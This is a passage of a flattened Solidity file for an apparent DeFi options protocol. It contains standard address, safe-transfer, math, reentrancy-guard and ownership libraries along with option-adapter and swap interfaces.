* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < WAD / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
library ProtocolAdapterTypes {
enum OptionType {Invalid, Put, Call}
// We have 2 types of purchase methods so far - by contract and by 0x.
// Contract is simple because it involves just specifying the option terms you want to buy.
// ZeroEx involves an off-chain API call which prepares a ZeroExOrder object to be passed into the tx.
enum PurchaseMethod {Invalid, Contract, ZeroEx}
/**
* @notice Terms of an options contract
* @param underlying is the underlying asset of the options. E.g. For ETH $800 CALL, ETH is the underlying.
* @param strikeAsset is the asset used to denote the asset paid out when exercising the option.
* E.g. For ETH $800 CALL, USDC is the strikeAsset.
* @param collateralAsset is the asset used to collateralize a short position for the option.
* @param expiry is the expiry of the option contract. Users can only exercise after expiry in Europeans.
* @param strikePrice is the strike price of an optio contract.
* E.g. For ETH $800 CALL, 800*10**18 is the USDC.
* @param optionType is the type of option, can only be OptionType.Call or OptionType.Put
* @param paymentToken is the token used to purchase the option.
* E.g. Buy UNI/USDC CALL with WETH as the paymentToken.
*/
struct OptionTerms {
address underlying;
address strikeAsset;
address collateralAsset;
uint256 expiry;
uint256 strikePrice;
ProtocolAdapterTypes.OptionType optionType;
address paymentToken;
}
/**
* @notice 0x order for purchasing otokens
* @param exchangeAddress [deprecated] is the address we call to conduct a 0x trade.
* Slither flagged this as a potential vulnerability so we hardcoded it.
* @param buyTokenAddress is the otoken address
* @param sellTokenAddress is the token used to purchase USDC. This is USDC most of the time.
* @param allowanceTarget is the address the adapter needs to provide sellToken allowance to so the swap happens
* @param protocolFee is the fee paid (in ETH) when conducting the trade
* @param makerAssetAmount is the buyToken amount
* @param takerAssetAmount is the sellToken amount
* @param swapData is the encoded msg.data passed by the 0x api response
*/
struct ZeroExOrder {
address exchangeAddress;
address buyTokenAddress;
address sellTokenAddress;
address allowanceTarget;
uint256 protocolFee;
uint256 makerAssetAmount;
uint256 takerAssetAmount;
bytes swapData;
}
}
interface IProtocolAdapter {
/**
* @notice Emitted when a new option contract is purchased
*/
event Purchased(
address indexed caller,
string indexed protocolName,
address indexed underlying,
uint256 amount,
uint256 optionID
);
/**
* @notice Emitted when an option contract is exercised
*/
event Exercised(
address indexed caller,
address indexed options,
uint256 indexed optionID,
uint256 amount,
uint256 exerciseProfit
);
/**
* @notice Name of the adapter. E.g. "HEGIC", "OPYN_V1". Used as index key for adapter addresses
*/
function protocolName() external pure returns (string memory);
/**
* @notice Boolean flag to indicate whether to use option IDs or not.
* Fungible protocols normally use tokens to represent option contracts.
*/
function nonFungible() external pure returns (bool);
/**
* @notice Returns the purchase method used to purchase options
*/
function purchaseMethod()
external
pure
returns (ProtocolAdapterTypes.PurchaseMethod);
/**
* @notice Check if an options contract exist based on the passed parameters.
* @param optionTerms is the terms of the option contract
*/
function optionsExist(ProtocolAdapterTypes.OptionTerms calldata optionTerms)
external
view
returns (bool);
/**
* @notice Get the options contract's address based on the passed parameters
* @param optionTerms is the terms of the option contract
*/
function getOptionsAddress(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view returns (address);
/**
* @notice Gets the premium to buy `purchaseAmount` of the option contract in ETH terms.
* @param optionTerms is the terms of the option contract
* @param purchaseAmount is the number of options purchased
*/
function premium(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 purchaseAmount
) external view returns (uint256 cost);
/**
* @notice Amount of profit made from exercising an option contract (current price - strike price).
* 0 if exercising out-the-money.
* @param options is the address of the options contract
* @param optionID is the ID of the option position in non fungible protocols like Hegic.
* @param amount is the amount of tokens or options contract to exercise.
*/
function exerciseProfit(
address options,
uint256 optionID,
uint256 amount
) external view returns (uint256 profit);
function canExercise(
address options,
uint256 optionID,
uint256 amount
) external view returns (bool);
/**
* @notice Purchases the options contract.
* @param optionTerms is the terms of the option contract
* @param amount is the purchase amount in Wad units (10**18)
*/
function purchase(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount,
uint256 maxCost
) external payable returns (uint256 optionID);
/**
* @notice Exercises the options contract.
* @param options is the address of the options contract
* @param optionID is the ID of the option position in non fungible protocols like Hegic.
* @param amount is the amount of tokens or options contract to exercise.
* @param recipient is the account that receives the exercised profits.
* This is needed since the adapter holds all the positions
*/
function exercise(
address options,
uint256 optionID,
uint256 amount,
address recipient
) external payable;
/**
* @notice Opens a short position for a given `optionTerms`.
* @param optionTerms is the terms of the option contract
* @param amount is the short position amount
*/
function createShort(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount
) external returns (uint256);
/**
* @notice Closes an existing short position. In the future,
* we may want to open this up to specifying a particular short position to close.
*/
function closeShort() external returns (uint256);
}
library ProtocolAdapter {
function delegateOptionsExist(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view returns (bool) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"optionsExist((address,address,address,uint256,uint256,uint8,address))",
optionTerms
)
);
revertWhenFail(success, result);
return abi.decode(result, (bool));
}
function delegateGetOptionsAddress(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view returns (address) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"getOptionsAddress((address,address,address,uint256,uint256,uint8,address))",
optionTerms
)
);
revertWhenFail(success, result);
return abi.decode(result, (address));
}
function delegatePremium(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 purchaseAmount
) external view returns (uint256) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"premium((address,address,address,uint256,uint256,uint8,address),uint256)",
optionTerms,
purchaseAmount
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateExerciseProfit(
IProtocolAdapter adapter,
address options,
uint256 optionID,
uint256 amount
) external view returns (uint256) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"exerciseProfit(address,uint256,uint256)",
options,
optionID,
amount
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegatePurchase(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 purchaseAmount,
uint256 maxCost
) external returns (uint256) {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"purchase((address,address,address,uint256,uint256,uint8,address),uint256,uint256)",
optionTerms,
purchaseAmount,
maxCost
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegatePurchaseWithZeroEx(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
ProtocolAdapterTypes.ZeroExOrder calldata zeroExOrder
) external {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
// solhint-disable-next-line
"purchaseWithZeroEx((address,address,address,uint256,uint256,uint8,address),(address,address,address,address,uint256,uint256,uint256,bytes))",
optionTerms,
zeroExOrder
)
);
revertWhenFail(success, result);
}
function delegateExercise(
IProtocolAdapter adapter,
address options,
uint256 optionID,
uint256 amount,
address recipient
) external {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"exercise(address,uint256,uint256,address)",
options,
optionID,
amount,
recipient
)
);
revertWhenFail(success, result);
}
function delegateClaimRewards(
IProtocolAdapter adapter,
address rewardsAddress,
uint256[] calldata optionIDs
) external returns (uint256) {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"claimRewards(address,uint256[])",
rewardsAddress,
optionIDs
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateRewardsClaimable(
IProtocolAdapter adapter,
address rewardsAddress,
uint256[] calldata optionIDs
) external view returns (uint256) {
(bool success, bytes memory result) =
address(adapter).staticcall(
abi.encodeWithSignature(
"rewardsClaimable(address,uint256[])",
rewardsAddress,
optionIDs
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateCreateShort(
IProtocolAdapter adapter,
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount
) external returns (uint256) {
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature(
"createShort((address,address,address,uint256,uint256,uint8,address),uint256)",
optionTerms,
amount
)
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function delegateCloseShort(IProtocolAdapter adapter)
external
returns (uint256)
{
(bool success, bytes memory result) =
address(adapter).delegatecall(
abi.encodeWithSignature("closeShort()")
);
revertWhenFail(success, result);
return abi.decode(result, (uint256));
}
function revertWhenFail(bool success, bytes memory returnData)
private
pure
{
if (success) return;
revert(getRevertMsg(returnData));
}
function getRevertMsg(bytes memory _returnData)
private
pure
returns (string memory)
{
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "ProtocolAdapter: reverted";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
}
interface IRibbonFactory {
function isInstrument(address instrument) external returns (bool);
function getAdapter(string calldata protocolName)
external
view
returns (address);
function getAdapters()
external
view
returns (address[] memory adaptersArray);
function burnGasTokens() external;
}
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
library Types {
struct Order {
uint256 nonce; // Unique per order and should be sequential
uint256 expiry; // Expiry in seconds since 1 January 1970
Party signer; // Party to the trade that sets terms
Party sender; // Party to the trade that accepts terms
Party affiliate; // Party compensated for facilitating (optional)
Signature signature; // Signature of the order
}
struct Party {
bytes4 kind; // Interface ID of the token
address wallet; // Wallet address of the party
address token; // Contract address of the token
uint256 amount; // Amount for ERC-20 or ERC-1155
uint256 id; // ID for ERC-721 or ERC-1155
}
struct Signature {
address signatory; // Address of the wallet used to sign
address validator; // Address of the intended swap contract
bytes1 version; // EIP-191 signature version
uint8 v; // `v` value of an ECDSA signature
bytes32 r; // `r` value of an ECDSA signature
bytes32 s; // `s` value of an ECDSA signature
}
}
interface ISwap {
event Swap(
uint256 indexed nonce,
uint256 timestamp,
address indexed signerWallet,
uint256 signerAmount,
uint256 signerId,
address signerToken,
address indexed senderWallet,
uint256 senderAmount,
uint256 senderId,
address senderToken,
address affiliateWallet,
uint256 affiliateAmount,
uint256 affiliateId,
address affiliateToken
);
event Cancel(uint256 indexed nonce, address indexed signerWallet);
event CancelUpTo(uint256 indexed nonce, address indexed signerWallet);
event AuthorizeSender(
address indexed authorizerAddress,
address indexed authorizedSender
);
event AuthorizeSigner(
address indexed authorizerAddress,
address indexed authorizedSigner
);
event RevokeSender(
address indexed authorizerAddress,
address indexed revokedSender
);
event RevokeSigner(
address indexed authorizerAddress,
address indexed revokedSigner
);
/**
* @notice Atomic Token Swap
* @param order Types.Order
*/
function swap(Types.Order calldata order) external;
/**
* @notice Cancel one or more open orders by nonce
* @param nonces uint256[]
*/
function cancel(uint256[] calldata nonces) external;
/**
* @notice Cancels all orders below a nonce value
* @dev These orders can be made active by reducing the minimum nonce
* @param minimumNonce uint256
*/
function cancelUpTo(uint256 minimumNonce) external;
/**
* @notice Authorize a delegated sender
* @param authorizedSender address
*/
function authorizeSender(address authorizedSender) external;
/**
* @notice Authorize a delegated signer
* @param authorizedSigner address
*/
function authorizeSigner(address authorizedSigner) external;
/**
* @notice Revoke an authorization
* @param authorizedSender address
*/
function revokeSender(address authorizedSender) external;
/**
* @notice Revoke an authorization
* @param authorizedSigner address
*/
function revokeSigner(address authorizedSigner) external;
function senderAuthorizations(address, address)
external
view
returns (bool);
function signerAuthorizations(address, address)
external
view
returns (bool);
function signerNonceStatus(address, uint256) external view returns (bytes1);
function signerMinimumNonce(address) external view returns (uint256);
function registry() external view returns (address);
}
interface OtokenInterface {
function addressBook() external view returns (address);
function underlyingAsset() external view returns (address);
function strikeAsset() external view returns (address);
function collateralAsset() external view returns (address);
function strikePrice() external view returns (uint256);
function expiryTimestamp() external view returns (uint256);
function isPut() external view returns (bool);
function init(
address _addressBook,
address _underlyingAsset,
address _strikeAsset,
address _collateralAsset,
uint256 _strikePrice,
uint256 _expiry,
bool _isPut
) external;
function mintOtoken(address account, uint256 amount) external;
function burnOtoken(address account, uint256 amount) external;
}
//
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
// solhint-disable-next-line compiler-version
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
